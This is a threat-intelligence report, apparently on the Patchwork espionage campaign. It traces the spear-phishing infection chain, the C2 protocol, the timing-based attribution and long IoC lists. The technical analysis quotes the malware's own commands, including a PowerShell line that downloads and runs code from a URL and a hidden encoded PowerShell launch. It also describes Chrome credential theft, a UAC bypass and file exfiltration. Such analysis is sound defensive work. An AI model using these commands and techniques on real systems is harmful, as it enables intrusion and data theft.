We did not monitor the SSL encrypted channel, in order to avoid detection in case Meterpreters sstagerverifysslcert option was used.
4.
The threat actor decided to drop the second stage malware, 7zip.exe, onto the infected endpoint.
The tool scanned the hard disk, and talked with 212[.
]83.191.156.
5.
It copied itself as netvmon.exe into C:\Windows\SysWOW64\netvmon.exe and added that path to the startup programs.
This is how the threat actor achieves persistence.
10 Research TLP: GREEN 6.
Three days following the initial infection, alerts were received on the decoy running the SMB shared folder indicating access by the threat actor.
7.
The malware accessed the mapped share that was deployed as a breadcrumb on the infected laptop while scanning all the drives for files.
The actual function that caused the alert was GetDriveTypeA (which is called to assure that only fixed drives are traversed).
8.
After the first alerts in the system were generated, we saw connection attempts to our cloud decoy via RDP.
This decoys IP address was placed as an RDP credentials breadcrumb on the target laptop.
The alerts originated from 212[.
]129.7.146, and the entire event lasted for 12 minutes.
9.
The alerts we received in MazeRunner indicated that the attackers failed to log in several times, which makes us believe that they pulled the RDP connection file (breadcrumb) that was on the infected desktop.
It is interesting to note that they didnt mine the credentials using mimikatz (which would have enabled them to connect to the cloud decoy with ease).
10.
We believe this connection was carried out by the same threat actor because: The IP they used to connect to our decoy also belongs to rev.poneytelecom.eu.
The event took place on the same day we received the alerts on our internal system.
This shows that the threat actor was deceived into exfiltrating data, deploying their second stage persistence tool, and using the breadcrumbs that we left on the infected laptop.
Furthermore, if they had used mimikatz, they also would have succeeded in connecting to our cloud decoy and be encouraged to deploy other, later stage tools.
Network layout 11 Research TLP: GREEN INTELLIGENCE GAINED FROM THE ACTORS CC SERVER Through one of our partners, we managed to receive access to one of the threat actors command and control servers.
The server contained a multitude of additional files: An abundance of PPS files  the spear phishing infecting files Additional malicious code packages Most of the spear phishing files content2 was directly related to China-related subjects, or pornographic in nature.
Some examples of the spear phishing PPS attachment files used by the threat actor: From the CC server, we also extracted the dates on which the PPS lures were last modified these dates ranged from December 2015 to January 2016.
The dates were grouped together and then plotted.
The resulting graph is a good indication of times at which we believe the attackers prepared and carried out their attack.
Number of PPS edits by date _____________ 2 We have no direct proof of this, but information from several partners suggests that stolen documents are being actively repurposed for spear phishing purposes.
12 Research TLP: GREEN TOOLS DEPLOYED ATTACK VECTOR Flowchart of infection stages The attack vector is a spear phishing email with a PPS file attachment.
It utilizes the exploit of CVE-2014-4114 (Sandworm).
The exploit code closely resembles a public proof of concept exploit found on exploit-db1.
The exploit enables the attacker to drop files and execute an INF file, which is a Windows driver descriptor file.
Through the exploit, the attack drops two files that are embedded in an OLE object to the local machine: Driver.inf Sysvolinfo.exe Driver.inf content After dropping the files, the exploit executes the INF file by calling the Windows utility InfDefaultInstall.exe with the dropped driver.inf as a parameter.
This causes the execution of the Windows utility RunOnce.exe, which receives the sysvolinfo.exe file as a parameter and executes it.
_____________
https://www.exploit-db.com/exploits/35019/ TECHNICAL ANALYSIS 13 Research TLP: GREEN DROPPER The sysvolinfo.exe is the first stage payload of the threat actor (another name seen is uplv1032.exe).
Its purpose is to escalate privileges, exfiltrate data, and download and execute an online remote access tool based on PowerSploit.
Through the now installed Meterpreter, the actor can issue commands to run on the infected machine manually.
Originally created by an unknown user of O RLY Cover Generator5 The sysvolinfo.exe code itself is a compiled AutoIt script.
A significant portion of its code is copied from the online hacking forum Indetectables6.
CC COMMUNICATIONS Once the tool starts, its first action is to connect back to the CC server and send a beacon, listening for commands.
Below is the analysis of the CC protocol.
Definitions: ComputerID  BASE64ENCODE(USERNAMECOMPUTERNAME) ddager  Is startup registry key added (Bool) r1  BASE64ENCODE(result of OSVersion macro, e.g.
WIN_7) r2  BASE64ENCODE(result of OSArch macro, e.g.
X64) r3  BASE64ENCODE(trojan version, 1.1 in our sample) r4  BASE64ENCODE(Does the SQLite database folder ( UserProfileDir   \AppData\Local\Google\Chrome\User Data\Default\) exist (1) or not (0)) r5  BASE64ENCODE(stdout of last cmd command) r6  BASE64ENCODE(1 if running as administrator, 0 if not) On beacon function call a POST request to: - hxxp://212[.
]129.13.110/dropper.php?profile  ComputerID _____________ PowerSploit: the PowerShell version of Meterpreter, a popular remote access tool from the MetaSploit framework.
https://dev.to/rly 6 http://www.indetectables.net/viewtopic.php?f7t52263sidb6fe274a4e8934fceb0f3fc90cd35aa2 14 Research TLP: GREEN Which is sent with the following parameters: - ddager, r1, r2, r3, r4, r5, r6.
The return value of the request is structured as follows: - sdatapayload, where sdata is the command to run (by id, 1-8), and payload is the argument for the command.
The available commands are: Functions: _emorhc(dllurl)  Searches for sqlite3.dll (or sqlite3_x64.dll in 64 bit).
If not found, it downloads it from dllurl.
The function then proceeds to close all the chrome.exe processes, dump the login data database USERPROFILEDIR \AppData\Local\Google\Chrome\User Data\Default\Login Data into  C:\recoveryx\Protected.ie2, upload the file, and delete it.
Note: the authors forgot to delete the c:\recoveryx directory.
_
getnewver(newverurl)  Deletes itself, downloads a new version from newverurl, and executes it.
Cmd command: cmd.exe /c ping -n 5 127.0.0.1  nul  del   SCRIPTFULLPATH    ping -n 5 127.0.0.1  nul  powershell IEX (New-Object System.
Net.
WebClient).DownloadFile(  newverurl  ,   SCRIPTFULLPATH )    SCRIPTFULLPATH.
They are using ping between commands for an unknown reason.
A possible usage is as a sleep(5).
Command ID Command explanation 1 The debug print describes the command as [] ServFlag  : Disabled, but the actual code is doing nothing.
2 If command 2 wasnt called before, then execute a PowerShell script with the UAC bypass vulnerability: powershell -nop -wind hidden -noni -enc   PAYLOAD 3 Reset the inner state of the script to ignore previous execution of command 2, thus allowing command 2 to execute again.
4 Exit the script.
5 Executes _emorhc function with base64decode(payload) as arg (see below).
6 Executes _getnewver function with base64decode(payload) as arg (see below).
7 Executes _instcust function with base64decode(payload) as arg (see below).
8 Executes the cmd command stored in base64 in payload and saves its output to r5.
15 Research TLP: GREEN _instcust(custurl)  Downloads a custom executable and executes it with the UAC bypass vulnerability.
_
upload(f_path, f_name, repeat, retry)  Handles all file upload.
It uploads the file f_path to hxxp://212[.
]129.13.110/update-request.php?profile ComputerID, with a maximum retry count of 5.
The post contains the following data: Content-Disposition: form-data namefilename filename f_name    f_hash    CRLF  CRLF  ffile  CRLF Where f_hash is the md5 cheksum of the file to be uploaded, f_name is the base64 encoding of f_name, and  ffile is the content of the file.
After sending beacon to the server, it continues to scan the Program Files directories (both x86 and the standard path) for a directory with the string Total Security (the installation path of the 360 Total Security7 antivirus), and, oddly, proceeds to do nothing with that knowledge.
The payload will install itself in the startup programs folder as Baidu Software Update (HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run).
It then sends another beacon to the server, after which it starts to recursively go over all of the fixed drives in the computer and look for files with the following extensions: doc pdf csv ppt docx pst xls xlsx pptx It then uploads all of the files to the server at: 212[.
]129.13.110/update-request.php?profile The decompiled applet which drives this functionality has a very interesting PDB included C:\Users\Kanishk\Documents\Visual Studio 2015\Projects\ConsoleApplication1\ConsoleApplication1\obj\Debug\ConsoleA pplication1.pdb.
____________
7 https://www.360totalsecurity.com/ 16 Research TLP: GREEN Applet code included below: namespace ConsoleApplication1  internal class Program  private static void Main(string[] args)  try  string fileName  args[0] WebClient webClient  new WebClient() webClient.
UploadFile(args[1], POST, fileName)  catch      PRIVILEGE ESCALATION After the previous stages, the payload uses a well known and as-of-yet unpatched UAC bypass vulnerability in Microsoft Windows (known as UACME8), which works on the default setup of Windows 79.
This allows the attackers to execute commands as Administrator.
If the AutoIt script is compiled for x86 systems (/x86 flag), the payload hides the UAC bypass vulnerability exploitation inside svchost.exe using a technique called Process Hollowing10 (UAC bypass method  IFileOperation COM Object11).
If the AutoIt script is compiled for x64 systems (/x64 flag), the oobe12 UAC bypass method is used.
___________
8 https://github.com/hfiref0x/UACME 9 According to research, also Windows 8 as claimed by Peter Kleissner, https://download.pureftpd.org/misc/UAC.cpp 10 https://www.trustwave.com/Resources/SpiderLabs-Blog/Analyzing-Malware-Hollow-Processes 11 https://www.greyhathacker.net/?p796 12 http://www.labofapenetrationtester.com/2015/09/bypassing-uac-with-powershell.html 17 Research TLP: GREEN SHELLCODE EXECUTION When the AutoIt malwares heartbeat receives a 2 in sdata (this seems to be the most common scenario), the included, base64-encoded response data is decoded and executed using the command powershell -nop -wind hidden -noni -enc.
We observed that the base64 encoded payload was a PowerShell script that closely resembled code designed to allow x86 shellcode to run on x64 architectures13.
This PowerShell script executed an additional payload, which was a PowerSploit script14 used to invoke shellcode containing a reverse HTTPS Meterpreter.
REVERSE HTTPS METERPRETER The AutoIt script escalates privileges and then executes a PowerShell script that is easily fingerprinted as a reverse HTTPS Meterpreter.
It seems likely that the PowerShell scripts were copied from an online blog15, and the Meterpreter payload inside was generated using the parameters: LHOST45[.
]43.192.172 LPORT8443 The process tree of the initial exploit and later payloads SECOND STAGE PAYLOAD This tool is only downloaded and installed after the attacker first uses the Meterpreter and determines that the target is valuable.
We refer to the payload as 7zip.exe, but it can also be named ndcrypt.exe and nd.exe.
___________
13 https://www.trustedsec.com/may-2013/native-powershell-x86-shellcode-injection-on-64-bit-platforms/ 14 https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-Shellcode.ps1 15 http://0entropy.blogspot.com/2012/04/powershell-metasploit-meterpreter-and.html 18 Research TLP: GREEN Hex view of the 7zip.exe memory dump Most of this payloads code is based on a public online code project in GitHub16.
Once unpacked, the module performs these actions: In order to persist past computer shutdown and power on, the payload copies itself to a system directory, renames the file to netmon.exe, and adds the executable to the startup programs as Net Monitor: C:\Windows\SysWOW64\netmon.exe - example of the final destination on 64-bit system running 7zip.exe/netmon.exe via WOW64 One thread scans all drive letters and exfiltrates files with certain extensions in the permanent drives (not searching network drives or USB).
Note: this is called the GetDriveTypeA function in kernel32.dll, which caused the alert on our system.
Another thread is uploading files of the same formats as from the Dropper payload (see above) to hxxp://212[.
]83.191.156/http/up.php.
Another thread downloads an executable from hxxp://212[.
]83.191.156/http/down.php and executes it.
We didnt observe this behavior.
___________
16 https://github.com/yorickdewid/MyDoom 19 Research TLP: GREEN While we cannot make definitive claims of attribution, we will present evidence that may assist in later efforts to identify this threat actor.
PREVIOUSLY EXAMINED INFORMATION Lets examine the attribution information we have discussed thus far in this report.
Many of the primary targets of this campaign are regional neighbors of India, and other targets seem to be targeted (by their interests, occupation, and by the content of the spear phishing) to issues affecting India.
Circumstantially, this targeting correlates with intelligence requirements necessary for a pro-Indian entity.
However, we felt this was not enough to draw direct conclusions.
What we believe makes this correlation much stronger and hints that this is a pro-Indian or Indian entity, is the addition of time of day activity analysis as detailed below.
PPS EDIT TIME ANALYSIS17 Following a review of the PPS files found on the CC server, we extracted data concerning the time of day when each PPS file was last modified, and plotted this on a graph.
Below, we can see that more editing occurred during certain hours of the day.
Number of edits by time of day ___________ 17 Time zone analysis and research activity associated with daytime hours is circumstantial by definition.
Some threat actors work around the clock, and manipulation of timestamps has been seen in past attacks by various threat actors.
While it should be treated with due suspicion, it has also proven itself highly valuable in analysis of APT threat actors in the past and cannot be discounted.
ATTRIBUTION 20 Research TLP: GREEN Based on modification times of the infecting presentation files, we see two distinct batches of work.
The first, where the bulk of changes has been made, stretches from around 4:00 to 12:00 in coordinated universal time.
To visualize what exactly that means, this time range was considered in the context of a standard 9am - 7pm work day and applied to a map.
The First stretch of work label on the map below depicts the areas of the world in which 4:00 - 12:00 UTC would fall within the standard work day.
Similarly, the time zones shaded within the Second stretch of work area are representative of the areas of the world in which 19:00 - 22:00 UTC falls within the work day.
Since the time span of the second stretch of work is smaller in range, the hours in universal time fall within the working hours of more countries.
Based on this map, we can conclude that it is most likely that the threat actors were based within the blue  areas.
Attacker operating times that overlap with a standard 9am-7pm workday (darker means larger volume) Many of the conclusions drawn from the above map were also confirmed through other sources.
Extra data we were able to extract and analyze further correlated with this data, as well as with the previous PPS data.
21 Research TLP: GREEN CC ACTIVITY TIMES The time at which servers were staged was listed not only by hour, but by day of the week.
After plotting these times by hour, with the day of the week specified through color coordination, we can see various patterns.
It was more common for servers to be staged on certain days of the week, such as Sunday, rather than on other days, such as Saturday.
These times are also clustered together in a clump for the most part, with almost no activity earlier than 2:00 UTC, and besides one exception on Sunday, not later than 11:00 UTC.
This clump is very similar to the range of time specified within the first clump of time in the PPS editing graph and the First stretch of work area of the Threat actor working hours diagram.
Displays the number of times a server was staged by hour of day, color-coordinated by day of the week Other data extracted from the server included the time of day and day of the week of domain registrations.
After plotting these on a graph, we observed that domains were registered only on specific days of the week.
The other important feature is that all of these incidents occurred between 3:00 and 15:00 UTC, which is a slightly wider range than the first stretch of time in the PPS editing graph, but still very comparable.
22 Research TLP: GREEN Displays the number of domain registrations by hour of day, color-coordinated by day of the week Extra analysis we were able to conduct was on the compilation times, by time of day and day of the week.
After plotting these on a graph, we observed that, similar to domain registrations, compilations only occurred on specific days of the week.
All the events took place between 2:00 and 10:00 UTC, which is only a slight shift of the time span in the first stretch of PPS editing.
23 Research TLP: GREEN Displays the number of compilations by hour of day, color-coordinated by day of the week All three of these graphs provide confirmation that these attacks were clustered partially by day of the week but mostly by time of day.
Specifically, the time of day when staging servers, domain registration, and compilations occurred most frequently lined up with the first stretch of time seen in the PPS18 editing data.
This applies to the area of the map within the First stretch of time label and adds weight to our conclusion that the threat actors live in the blue area.
This time of day activity data, when combined with the previous circumstantial evidence (the threat actors intelligence requirements, the countries targeted around India, the other targets around the world, and the content of the spear phishing, directs us to the conclusion that this threat actor correlates with a location in India.
Carefully, we feel obligated to note that further evidence suggests potential links between this threat actor and the operations known as Hangover/Appin, but this possible link is still being researched and is far from conclusive.
That said, attribution is tricky business and its never possible to be entirely conclusive.
___________
18 Information from several partners suggests that the documents being stolen and then repurposed for spear phishing purposes also contain language indicators that support our hypothesis, but we have no direct information to support this.
24 Research TLP: GREEN Patchwork is a highly successful targeted attack operation, infecting approximately 2,500 high- value targets worldwide.
It is surprising that it has remained undetected since its operations began in December, as it seems to have been built out of a confluence of code taken from various public and hidden criminal forums, as well as various open source projects.
What makes this disclosure special is the use of Cymmetrias cyber deception platform19 to catch the threat actor, capturing their second stage toolset and lateral movement activity.
Without deception, capturing second-stage tools and activity has previously been difficult (to say the least).
The high degree of operational capacity stands in stark contradiction to the low technical ability displayed, which raises the question of whether the copy-paste nature of the threat was potentially intentional, perhaps an evolution of threat actors attempting to avoid the high cost of losing their expensive tool box and malware when they are eventually publically disclosed.
This, however, seems unlikely, as the use of such second-hand code is consistent with their second stage toolset meant for persistence, which should typically be built to resist detection.
While one can almost never be conclusive in attribution, based on the information we have it is plausible that the threat actor is a pro-Indian one.
As our CEO Gadi Evron said in an internal discussion, There is a possibility that another threat actor wanted to look like India and built a false flag operation to fit, but there is zero evidence to support that claim, and it feels like were reaching just to attack our own argument.
Unlike other APT threat actors, India seems to be a relatively quiet locale for cyber espionage activity, if indeed this is a pro-Indian threat actor, it is noteworthy by itself.
The scope and scale of this operation are quite surprising considering the low technical capability displayed, which we believe is a growing trend seen among disparate  threat actors.
___________
19 Cymmetrias MazeRunner CONCLUSIONS 25 Research TLP: GREEN All IoCs (in CSV and STIX formats), and the MazeRunner campaign file, can be found on Cymmetria researchs GitHub, at: https://github.com/CymmetriaResearch/CymmetriaResearch.
FILE HASHES upsrv.exe - 076aa7f5f6a5bdd9acdee55c6e3de54e6e8d5fd6fe2a03c165a23861e315f3f5 7zip.exe - 9dae4a24095b9a3870579a63c94c73fe8de205c70d95dfdb0dc9c87709215953 sysvolinfo.exe - f5e4d5d5fde978968dce4db4120ecbb68898d5fdf55860e61058d91db29b7d91 uplv1032.exe - 1da99f69735d203a3d52ff1bb2ede75fe69601259efa6c5a080024ddf9276297 Sysvolinfo.exe variant - 13b0f3b63ce276f8d30ac4f95b03485a6fe532754494f9848e875c460b121b28 (Unnamed UAC Bypasser) - 607454369fa5d96fab6fec7a52a518eefed5136e4ebd4cfed238ccbb0f5b180f IPs 212[.
]129.13.110 - AutoIt script C2 212[.
]129.7.146 - IP address used to connect to the cloud decoy with 45[.
]43.192.172 - IP address used in the powershell script 212[.
]83.191.156 - 7zip.exe C2 POST REQUESTS hxxp://212[.
]83.191.156/http/down.php hxxp://212[.
]83.191.156/http/up.php hxxp://212[.
]129.13.110/update-request.php?profile hxxp://212[.
]129.13.110/dropper.php?profile URLs Spear hosting websites: hxxp://cnmilit[.
]com/ hxxp://t.ymlp50[.
]com/jmyafaejshbafahshaaambmus/click.php APPENDIX 1  IOCS https://github.com/CymmetriaResearch/CymmetriaResearch https://github.com/CymmetriaResearch/CymmetriaResearch https://github.com/CymmetriaResearch/CymmetriaResearch 26 Research TLP: GREEN SUSPECTED IOCs mozarting[.
]com blingblingg[.
]com aaskmee[.
]com revoltmax[.
]com eyescreem[.
]com outlookkz[.
]com xmachinez[.
]com pizzahomez[.
]com newsnstat[.
]com 163-cn[.
]org 81-cn[.
]net climaxcn[.
]com expatchina[.
]info miltechweb[.
]com nduformation[.
]com securematrixx[.
]com xbladezz[.
]com asiandefnetwork[.
]com dailychina[.
]news sinodefprog[.
]info qqgroups[.
]info chinastrat[.
]com miltechcn[.
]com numeronez[.
]com telemediaz[.
]com majidalfuttaiim[.
]com webworldreq[.
]com nextraload[.
]com junshiyuehui[.
]com cndailynetwork[.
]info extrememachine[.
]org wikifedia[.
]space yue-lao[.
]info you-yisi[.
]com annchenn[.
]com office-rb-support[.
]com greatdexter[.
]com haiwaipengyou[.
]com extremerebolt[.
]com matrixrevolt[.
]com info81[.
]com chinastrats[.
]com epg-cn[.
]com nutcn[.
]com modgovcn[.
]com climaxcn[.
]com socialfreakzz[.
]com militaryworkerscn[.
]com extremebolt[.
]com lujunxinxi[.
]com letsgetclose[.
]com milresearchcn[.
]com alfred.ignorelist[.
]com symantecz[.
]com nudtcn[.
]com 178[.
]162.210.242 178[.
]162.210.243 178[.
]162.210.244 178[.
]162.210.245 178[.
]162.210.246 178[.
]162.210.247 178[.
]162.210.248 178[.
]162.236.40 37[.
]48.77.214 37[.
]48.77.215 37[.
]58.60.195 43[.
]249.37.173 46[.
]165.225.66 46[.
]165.229.7 46[.
]165.229.8 27 Research TLP: GREEN 46[.
]165.229.9 46[.
]165.248.236 46[.
]165.248.237 46[.
]165.248.238 46[.
]165.248.239 46[.
]165.248.240 46[.
]165.248.241 46[.
]165.248.243 46[.
]166.163.243 46[.
]166.163.244 46[.
]166.163.246 91[.
]229.79.181 91[.
]229.79.182 91[.
]229.79.183 91[.
]229.79.184 91[.
]229.79.185 91[.
]229.79.186 91[.
]229.79.187 91[.
]229.79.188 91[.
]229.79.189 91[.
]229.79.190 93[.
]115.95.132 94[.
]242.219.203 94[.
]242.223.19 94[.
]242.223.20 94[.
]242.223.24 94[.
]242.223.28 94[.
]242.231.244 95[.
]141.34.242 95[.
]141.34.245 95[.
]141.34.246 95[.
]211.205.142 95[.
]211.205.161 95[.
]211.205.163 95[.
]211.205.164 95[.
]211.205.165 95[.
]211.205.166 95[.
]211.3.135 Registry keys: HKEY_CLASS_ROOT\Software\Microsoft\Windows\CurrentVersion\Run\Net Monitor (32 bit) HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Net Monitor  (32 bit) HKEY_CLASS_ROOT\Software\Wow6432Node\Microsoft\Windows\CurrentVersion \Run\Net Monitor  (64 bit) HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows\CurrentVers ion\Run\Net Monitor  (64 bit) HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Baidu Software Update OTHER mutex 9754893678976458374658764387563876 7zip.exe downloads executable and saves them with the prefix tvr in the user temp folder (e.g., tvr98E5.tmp) 28 Research TLP: GREEN CONFIRMED INFECTING PRESENTATIONS 13_Five_Year_Plan_2016-20-1.pps - d44793b9584c9ca8a982a05bb6cfc06599e081c411f35f163fbd7eacad5eb584 aeropower.pps - 7dd68cab710cd1e8f099f2d2d8b67d9c3f8cb113c9bb44ea4a08ee76d49ed19c australia_fonops_1.pps - 04c7f88f284c2466b4814bb02eefb4a02ac118a2d584ba9baec9c7af1fa1de7b australia_fonops_2.pps - 99a24d92f650faadc46c65bad65013cf3f1587a01f62f31aac20eb8864c21bee aviation_1.pps - cdd540c01e25b3a7e122c9c01cfc1c7399ed65f3963ff20fa1685b4c504035ca aviation_2.pps - 4d041a1bfd8dda989faa6a5a37ba49f988478dadaa110cdf9a98002f12a4b931 beauty3.pps - 660b2d4baa7965acd7182bdbeaa8cdf66290968ecddc77d53517fe24882c95f9 beauty6.pps - 0819f50d7a0c045188c4068b88c915f3a652c073e3081cb30a20aaf6298840bd CHINA_FEAR_US_3.pps - 905fe9820538943a4ad32499f9dad3eae6ff7677882ff2a39ef98a0147ae3dd1 CHINA_FEAR_US_6.pps - a335613dad36911f947fdfd3dda8897a71889513f9009385c84e48c2b7fe7236 chinamilstrength.pps - 1f6108718ac9a29fe0e1e2d7fc2a7793ad4e20033921945c2ac0b5603e591298 China_Response_NKorea_Nuclear_Test1.pps - c98caa28f5114e3c37efd59cb3c2471a4c64cca3ecd6188d5efe547f1cae0e9d China_Response_NKorea_Nuclear_Test2.pps - bbe27671b94d040342312431a24ebb4f9685ee950efeb526b1ffd765f3e7c7dd chinascyberarmy2015_1.pps - fdc6afccd5dc015c138c05ba7c325fc119dfd79e913ddab292575586f1657cae chinascyberarmy2015_2.pps - 8770819471130b056822c334f8735453c3fd7d3495ae5ad98d372241872be7c5 CHINAS_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_1.pps - 8cb2f737dd535f76e420fdcd747e5c943868c10b8f895722a298b83f331d728e CHINAS_PUZZLING_DEFENSE_AGREEMENT_WITH_AUSTRALIA_2.pps - 70d368e2a8bc7e5d0673dabe6d5897062dbc51103227a9e4efd38a09ee8a2042 China_two_child_policy_will_underwhelm1.pps - 23d69451b4f7d9e3df5b92523e4574246bdfc786d48b20e9f0c45a25d985e191 ChinaUS_1.pps - b9c24e26c90fd83ad8258a90b1c84022d180c0223f182f96c928333f2e9c5934 ChinaUS_2.pps - 065321d0497565871bcfe5ee606636e9d0f2975558ee838122bbbe78ffd2d367 chinesemilstrat_1.pps - 158919e9ca13db3747708b56397b63431ad864879abe1f5f3c4c178d8fae1149 chinesemilstrat_2.pps - 6cb9b489f27517b21db61398cc103f863eb71e1034997e7f54b463be9c34568b cppcc_1.pps - 5e4dd3e3d21a25a2680320ad79ef773f133312210adcd45b09bfb183c5797004 cppcc_2.pps - 04317dd251b6eb22ce0941dda9821463fe53a51140d4ac639b9d0463dbf61372 election.pps - 7ce893d1e08ef1ce62706eabe9aa0813e5e495d4f24955ca5020c3191968ec3a enggmarvels_1.pps - 79af494cfb231c267d3149d4922a16ea0086c4ba63b584e6ff8dc463235eb999 29 Research TLP: GREEN enggmarvels_2.pps - 0803956f7919f3ac71f345a59c3803b0ab5e32e8f9c408b0eff0716a013c020d fengnew33.pps - caf046809672fa9b162ddb633f12f1c817c8aab42da994398135b0b2b5b2f01c fengnew36.pps - e61a805907a44c61458baae92cb9a2bb901d76102fe94ae0a6ef287cf71fb4ae fengnew63.pps - 3e282a1cdcc692415998633af2a15d79dcfb2ce90734bf90138e9bd3e3c32f7f fengnew66.pps - 0edb3efd98de5d135f3326129a4d7a5546484570d9949e6103179a0e5e6b97dd futuredrones_1.pps - 13f03f67d748ece55bcdd77373668e89d97c340f426aac5097817b6bb91c6844 futuredrones_2.pps - 43c1bee83e6f814a4028192f9f52fb89fea986815da43654ce991f06bbd48b5e gaokaonewschedule_1.pps - a725cf180706c6060f344ac8cecc1c23e90358a1170c61db7dd8a3be4d109e8b gaokaonewschedule_2.pps - 12ffc8454be5a73a894eea89d1617d256f0e65fe403a2c19558b3f484c7cbe03 harbin_1.pps - 2c1a70bf43bd622201321e902982153f13414e2f42f0a17fad0e9d35ba8613f4 Implication_China_mil_reforms_1.pps - 97503d2302fc3b51f666f6d4ea067b499d185f807fb5a61cee49851d0417ade8 japan_pivot_1.pps - 887cc8220cd9722d114cf575f1cb7758c2e10f3d8904121dc9fe0b749c6955bb japan_pivot_2.pps - 18af865435967f803a2b2cf8ef0ec1a859d6d9612a59c01a59c77d31fda9c91d jtopcentrecomn.pps - 7169ee156199b86e7149cb9c49a146b5d20afe02d90d315e00b3980419c41d14 korea1.pps - 1ea09eb00f49a92505c22f2f4569e035894cb765a8be87adcbc94c01a8d9d5c0 militarizationofsouthchinasea_1.pps - 53a30dfd90bd1208dcfe534ccd0b798d629aa989ccaeae952384cfe9ecb17369 militarizationofsouthchinasea_2.pps - 9d0d420c696083023300545754f0428549bb62f33c6e492eb4ace8ce95ce8af0 MilitaryReforms1.pps - ccbbf41f7e385f511ec25925cdc177bb23a3106974fa1c61fdfea4af70489b36 MilitaryReforms2.pps - 09d7cd078a46a33750b002594eb7340af55a1cefe5f4451a8bdfcd6af97449bf MilReforms_1.pps - c126471d35f0fcff4ebafd8fb331e328b67e07312fbaa60c8a131e318b41a839 MilReforms_2.pps - c2d39a5ed25caf84d5ce68375e420b6445aff0c63a7f820ae6a3d0e24eb5e161 my_lovely_pics_3.pps - 39cf8b7bbceac5d150cc9fafbf2d7492d353771ec40919d1777fba8d6d2da2b4 my_lovely_pics_6.pps - cc810280206c3ee96f88840d6e23bd2c849bfb48f4e97c2ea1c8ef47ce06ba9b my_photos_3.pps - b4487148d05bc4acc932b47c0a01371c459eea12fc7fd4f21af127dee2f619f4 my_photos_6.pps - 1c60523b5c2cfc176549d4a8c14c2759c504cce23da86cf3dcb99c21ddf30f5a nail_art_3.pps - 48219520a01ef9ec5f499cdb3f3ad8e9899b0c15800acb66cb0df5fe74f49cce nail_art_6.pps - 77a43ddd5b90b25b189f970ec76224085f7b7210922e611ed38905d4190d7cc3 netflix1.pps - 88e2e7df29450f673081161e105b561f67bba65ce00d12da90b26149c2960631 netflix2.pps - 2f6ed134adf8d29dd9e25b8f8f863389742dd5ff6d9104329c2fecb66b9e1604 30 Research TLP: GREEN Obama_Gift_China_1.pps - 77b1ea1a200a17f8e14a8b6471ee6c4921c8c6b59026ce799ecaf7edd54b15e8 Obama_Gift_China_2.pps - 21b2f9c134a8fe2f021884852b41eed5739c791a19f0145a5a665015cede543b pension_1.pps - 6b821ad306c9baa18b7d77a06bbbff032a55ba1bc4b7f93b747477facb8b8fa0 stewardess1.pps - d4a9a07192ba6ddafe86ea8c72277650cc8996cd1ec487d3677d8a4e92e28983 stewardess2.pps - 8869567e461c5fe15e4a2d66e28a04445eebf76a0fdc3fc98e3edca6f032e423 syria_china.pps - 53dc1535397fe9bdefd4d69bf8b22751668dfc1054713aab71b6048fbd23423a TaiwanDiplomaticAccess_1.pps - da06b7ee42a7d2f0cf7dd5f225373806cd054b2a3b8fdbba7a0873479c98dfba TaiwanDiplomaticAccess_2.pps - eb31ffe6666d8307fa59da3d41a5bf0d9f936d909a5f955e0329ab24d64bce90 tibetculture_1.pps - eed9c5e8ec7d25a5c9f15d30d80413edf65ec4f495c3d244c9d55d134e0cccef tibetculture_2.pps - f9a9808927bccb8a08828b16cf288a89a1b0b67fe55055f5bbcd777fc312b4ce underestimatingUS_1.pps - a358679e2474750c0ae064590e80085035cdec6028c9025cf4dc48dd610de88e underestimatingUS_2.pps - 511111ebb818471c1402631494aade54f3d13b57eb9cc705392edb615153950d UruguayJan-Jun_1o.pps - 637b305164ed634f4c20bcb89030417f9d41446e5c8517e671ef4c122195ccea uruguayjan-jun_1.pps - fe3f4bd9810389e68ead6d29270050275440281de0b78532ea9c71d9b3db41f6 UruguayJan-Jun_2o.pps - 5f203ea304b97727e6a607c54713da69925337ac1eff98c7761e184c33d37c4d uruguayjan-jun_2.pps - b9f0e2b6ca667cbabcec0c2cd311eefb831776c33ab679a109345507030b259d UruguayJul-Dec_1o.pps - 66c946d8915c367ec23fedecaa730493d9df292d8b13fbdd56ffcda49a065ac2 uruguayjul-dec_1.pps - a870b9b7d84bbb95da6dcb633f74731b316f4bc77bd71edc779928b71c1e5a4f UruguayJul-Dec_2o.pps - 0abd0d44d12993124ba3081990342ea7d5ab75d1e639b60a4d02960ed2f54b66 uruguayjul-dec_2.pps - af826881bfead39e6319131359521502076a83d75f02ab2fd0754c5a82ab2f73 us_srilanka_relations_1.pps - 665b6ffd8ada42e0a1e77a377970eec3b2b8a915d101c7888d1b28e86c80ebfa us_srilanka_relations_2.pps - e01b1267f5c12291dbcbaa04fcd558b8f7415f11dfe0f2a4cdabe8e69277e52a WILL_ISIS_INFECT_BANGLADESH.pps - 75f8073fa5f842a6ca78e27a703a6b0a30ecba3f9f51e23fcf810b2489db5fb5 zodiac_1.pps - 53d6ae6e3f883f1e1ebc9e0b6bdbd8ec8dad344b0988fb4e28b17c19f7385e7e zodiac_2.pps - 55a5d4f879250dbe57523c7caf7fd55b7324043780dd697e9a8b7061500c8c85 31 Research TLP: GREEN SUSPECTED IOCS FOUND TO BE SIMILAR TO THE ABOVE IOCS upsrv.exe 0607ce3285e8ef98915edadd8cc67229196b01db3ce6118786e36f61f88494e0 076aa7f5f6a5bdd9acdee55c6e3de54e6e8d5fd6fe2a03c165a23861e315f3f5 160b25ffe487afa039021b7c3cb340783438e54b68e6928758429bcca55ca0e1 247f47d6472c0cc3ea7d2dd9b5de32107c039ab82f72fa4be5e764cf8d315a2c 2533482781c0bea1e32272c46cca61d959fa0ddc0c72cf0a6e49059259c674c5 32fca40fd2cc9bd72f37b3c8fe31e14c3c45f84f202d173cb63de8420fbad46c 4066307919dad84f9559e031d7be316c836876ff19c6335863d0dae5f19ca3c3 4ba639099a66c38f7761f8a272b463b022710745716588bf1cc5f1180ca80531 602fe776628a967f4e5f5f29c1186bf73185ba01a3318f7ec6b71c0e532ae485 62d70d8d24db14a1c8da481c1262d9eaa316bee57810f01d07d054d71f729002 91a7043ec11feb2a7cf66033755052e79146cc693ce5a45c214cba55e4537f53 